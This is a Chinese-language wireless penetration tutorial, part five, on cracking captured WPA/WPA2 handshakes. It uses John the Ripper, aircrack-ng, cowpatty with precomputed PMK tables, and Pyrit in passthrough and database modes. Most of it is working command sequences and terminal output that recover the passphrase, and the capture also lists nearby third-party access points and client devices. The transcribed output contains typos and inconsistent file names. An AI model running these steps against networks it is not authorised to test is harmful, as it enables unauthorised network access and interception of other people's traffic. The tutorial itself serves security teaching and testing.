无线渗透（五）COWPATTY 破解密码
唐泳
JTR破解密码
测试效果
john –wordlist=password.lst –rules –stdout | grep -i Password123
破解调用
john –wordlist=pass.list –rules –stdout | aircrack-ng -e kifi -w wpa.cap
COWPATTY破解密码
WPA密码通用破解工具
使用密码字典
cowpatty -r wpa.cap -f password.lst -s kifi
使用彩虹表(PMK)
genpmk -f password.lst -d pmkhash -s kifi
cowpatty -r wpa.cap -d pmkhash -s kifi
root@kali:~# iwconfig
eth0 no wireless extensions.
at0 no wireless extensions.
wlan0mon IEEE 802.11bgn Mode:Monitor Frequency:2.462 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
lo no wireless extensions.
root@kali:~# airodump-ng wlan0mon
root@kali:~# airodump-ng wlan0mon –bssid EC:26:CA:DC:29:B6 -c 11 -w wpa
root@kali:~# aircrack-ng -w /usr/share/john/password.lst wpa-01.cap
Opening wpa-01.cap
Read 18283 packets.
# BSSID ESSID Encryption
1 EC:26:CA:DC:29:B6 kifi WPA (1 handshake)
Choosing first network as target.
Opening wpa-01.cap
Aircrack-ng 1.2 rc2
[00:00:00] 265 keys tested (300.75 k/s)
KEY FOUND! [ Password ]
Master Key : 35 D2 A8 EA 41 96 A8 60 OE AF 59 8F 5C D9 66 F1
CA 6E B3 8A A0 C0 B5 F7 1B 32 0A 00 E2 38 D2 DC
Transient Key : 77 84 F7 EF 0B AC 16 BD 8A E1 42 C1 F3 44 53 34
AD 08 45 0E E6 EF 17 43 B9 2E 65 DF 62 31 6B 45
CE 5D 92 9B C1 F5 54 E6 E5 1C 93 3F 06 E0 90 90
51 F2 5C 73 EA 6D 6C 0F A6 D2 6D BF 50 08 0E 86
EAPOL HMAC : 4A 39 BA EE A8 83 0D 19 93 E6 8F 7A 60 18 6D 54
root@kali:~# cowpatty -r wpa-01.cap -f /usr/share/john/password.lst -s kifi
Colleted all necessary data to mount crack against WPA2/PSK passphrase
Starting dictionary attack. Please be patient
The PSK is “Password”.
179 passphrases tested in 1.64 seconds: 109.36 passphrases/second
root@kali:~# genpmk -f /usr/share/john/password.lst -d pmkhash -s kifi
genpmk 1.1 – WPA-PSK precomputation attack.<jwright@hasborg.com>
File pmkhash does not exist,creating.
root@kali:~# cat pmkhash
root@kali:~# cowpatty -r wpa-01.cap -d pmkhash -s kifi
cowpatty 4.6 – WPA-PSK dictionary attack. <jwright@hasborg.com>
Colleted all necessary data to mount crack against WPA2/PSK passphrase
The PSK is “Password”.
179 passphrases tested in 1.64 seconds: 97494.55 passphrases/second
PYRIT破解密码
与airolib、cowpatty相同，支持基于预计算的PMK提高破解速度
独有的优势
除CPU之外pyrit可以运行GPU的强大运算能力加速生成PMK
本身支持抓包获取四步握手过程，无需用Airdum抓包
也支持传统的读取airodump抓包获取四步握手的方式
只抓取WAP四次握手过程包
pyrit -r wlan2mon -o wpapyrit.cap stripLive
pyrit -r wpapyrit.cap analyze
从airodump抓包导入并筛选
pyrit -r wpa.cap -o wpapyrit.cap strip
root@kali:~# pyrit -r wlan0mon -o wpapyrit.cap stripLive
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing packets from ‘wlan0mon’…
1/1: New AccessPonit bc:d1:77:c0:87:de (‘MERCURY_C087DE’)
2/2: New AccessPonit 14:75:90:21:4f:56 (‘TP-LINK_4F56’)
3/3: New AccessPonit e0:06:e6:39:c3:0c（’lizhi2012′)
3/4: New Station 68:3e:34:30:0f:aa (AP ec:26:ca:dc:29:b6)
4/9: New AccessPonit ec:26:ca:dc:29:b5 (‘kifi’)
4/21: New Station 80:71:7a:e3:51:c9 (AP 14:74:90:21:4f:56)
4/135: New Station 58:44:98:a3:7a:18 (AP 14:74:90:21:4f:56)
4/324: New Station e8:3e:b6:1b:19:31 (AP 14:74:90:21:4f:56)
4/461: New Station 18:dc:56:f0:26:9f (AP 14:74:90:21:4f:56)
4/646: New Station 90:3c:92:ba:00:cc (AP 14:74:90:21:4f:56)
4/975: New Station e0:06:e6:39:c3:0b (AP 14:74:90:21:4f:56)
4/1957: New Station 54:9f:13:73:02:8d (AP 14:74:90:21:4f:56)
4/2767: New Station 68:3e:34:30:0f:aa (AP 14:74:90:21:4f:56)
4/3286: New Station 6c:71:d9:1c:80:4c (AP 14:74:90:21:4f:56)
5/3858: Challenge AP ec:26:ca:dc:29:b6 <-> STA 68:3e:34:30:0f:aa
6/3859: Response AP ec:26:ca:dc:29:b6 <-> STA 68:3e:34:30:0f:aa
6/3859: New Handshake AP ec:26:ca:dc:29:b6: HMAC_SHA1 AES, bad, spread 1
7/3860: Confirmation AP ec:26:ca:dc:29:b6 <-> STA 68:3e:34:30:0f:aa
7/3960 New Handshake AP ec:26:ca:dc:29:b6: HMAC_SHA1_AES, good, spread 1
8/4065: New AccessPoint bc:14:ef:al:97:29 (‘gehua01141406060486797’)
Interrupted…
#1: AccessPoint d0:c7:c0:99:ec:3a (‘None’)
#2: AccessPoint bc:d1:77:c0:87:de (”MERCURY_C087DE’)
#3: AccessPoint 14:75:90:21:4f:56 (‘TP-LINK_4F56’)
#4: AccessPoint bc:14:ef:al:97:29 (‘gehua01141406060486797’)
#5: AccessPoint ec:26:ca:dc:29:b6 (‘kifi’)
#0: Station 68:3e:34:30:0f:aa, 1 handshake(s)
#1: HMAC_SHA1_AES, good, spread 1
#6: AccessPoint e0:06:e6:39:c3:0c（’lizhi2012′)
New pcap-file ‘wpapyrit.cap’ written (8 out of 6480 packets)
root@kali:~# pyrit -r wpapyrit.cap analyze
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file ‘wpapyrit.cap’ (1/1)…
Parsed 8 packets (8 8032.11-packets),got 5 AP(s)
#1: AccessPoint bc:d1:77:c0:87:de (”MERCURY_C087DE’)
#2: AccessPoint 14:75:90:21:4f:56 (‘TP-LINK_4F56’)
#3: AccessPoint bc:14:ef:al:97:29 (‘gehua01141406060486797’)
#4: AccessPoint ec:26:ca:dc:29:b5 (‘kifi’)
#1: Station 68:3e:34:30:0f:aa, 1 handshake(s)
#1: HMAC_SHA1_AES, good, spread 1
#5: AccessPoint e0:06:e6:39:c3:0c（’lizhi2012′)
root@kali:~# pyrit -r wpa.cap -o wpapyrit.cap strip
wpa-01.cap wpa-01.kismet.csv wpapyirt.cap
wpa-01.csv wpa-02.kismet.netxml
root@kali:~# pyrit -r wpa-01.cap -o wpapyrit1.cap strip
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file ‘wpapyrit.cap’ (1/1)…
Parsed 17 packets (17 8032.11-packets),got 1 AP(s)
#1: AccessPoint ec:26:ca:dc:29:b5 (‘kifi’)
#0: Station 68:3e:34:30:0f:aa, 15 handshake(s)
#1: HMAC_SHA1_AES, good, spread 1
#2: HMAC_SHA1_AES, good, spread 3
#3: HMAC_SHA1_AES, good, spread 11
#4: HMAC_SHA1_AES, good, spread 1
#5: HMAC_SHA1_AES, good, spread 1
#6: HMAC_SHA1_AES, good, spread 1
#7: HMAC_SHA1_AES, good, spread 1
#8: HMAC_SHA1_AES, good, spread 1
#9: HMAC_SHA1_AES, good, spread 1
#10: HMAC_SHA1_AES, good, spread 5
#11: HMAC_SHA1_AES, good, spread 7
#12: HMAC_SHA1_AES, good, spread 7
#13: HMAC_SHA1_AES, good, spread 9
#14: HMAC_SHA1_AES, good, spread 9
#15: HMAC_SHA1_AES, good, spread 13
New pcap-file ‘wapapritl.cap’ written (16 out of 17 packets)
root@kali:~# pyrit -r wpapyrit1.cap strip
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file ‘wpapyrit.cap’ (1/1)…
Parsed 17 packets (17 8032.11-packets),got 1 AP(s)
#1: AccessPoint ec:26:ca:dc:29:b5 (‘kifi’)
#0: Station 68:3e:34:30:0f:aa, 15 handshake(s)
#1: HMAC_SHA1_AES, good, spread 1
#2: HMAC_SHA1_AES, good, spread 3
#3: HMAC_SHA1_AES, good, spread 11
#4: HMAC_SHA1_AES, good, spread 1
#5: HMAC_SHA1_AES, good, spread 1
#6: HMAC_SHA1_AES, good, spread 1
#7: HMAC_SHA1_AES, good, spread 1
#8: HMAC_SHA1_AES, good, spread 1
#9: HMAC_SHA1_AES, good, spread 1
#10: HMAC_SHA1_AES, good, spread 5
#11: HMAC_SHA1_AES, good, spread 7
#12: HMAC_SHA1_AES, good, spread 7
#13: HMAC_SHA1_AES, good, spread 9
#14: HMAC_SHA1_AES, good, spread 9
#15: HMAC_SHA1_AES, good, spread 13
PYRIT破解密码
使用密码字典直接破解
pyrit -r wpaprit.cap -i password.lst -b <AP MAC> attack passthrough
数据库模式破解
默认使用基于文件的数据库，支持连接SQL数据库，将计算的PMK存入数据库
查看默认数据库状态：pyrit eval
导入密码字典：pyrit -i password.lst import password (剔除了不合规的密码）
制定ESSID：pyrit -e kifi create essid
计算PMK：pyrit batch (发挥GPU计算能力）
破解密码：pyrit -r wpapyrit.cap -b <AP MAC> attack_db
root@kali:~# pyrit -r wpaprit.cap -i /usr/share/john/password.lst -b ec:26:ca:dc:29:b6 attack passthrough
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file ‘wpapyrit.cap’ (1/1)…
Parsed 8 packets (8 8032.11-packets),got 5 AP(s)
Tried 647 PMKs so far; 238 PMKs per second.
The password is ‘Password’.
root@kali:~# pyrit eval
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connection to storage at ‘file://’… connected
Passwords availbale: 0
# 导入密码字典文件
root@kali:~# pyrit -i usr/share/john/password.lst import password
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connection to storage at ‘file://’… connected
3559 lines read flushing buffers.
root@kali:~# pyrit eval
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connection to storage at ‘file://’… connected
Passwords availbale: 637
root@kali:~# pyrit -e kifi create essid
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connection to storage at ‘file://’… connected
Creates ESSID ‘kifi’
root@kali:~# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connection to storage at ‘file://’… connected
Creates ESSID ‘kifi’
Processed all workunits for ESSID ‘kifi’;179 PMKs per second.nd.
Batchprocessing done.
root@kali:~# pyrit -r wpapyrit.cap -b ec:26:ca:dc:29:b6 attack_db
Pyrit 0.4.0 (C) 2008-2011 Lujas lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connection to storage at ‘file://’… connected
Parsing file ‘wpapyrit1.cap’ (1/1)…
Parsed 16 packets (16 802.11-packets), got 1 AP(s)
Attacking handshake with Station 68:3e:34:30:0f:aa…
Tried 351 PMKs so far (56.2%); 20714 PMKs per second.
The password is ‘Password’
类似资料：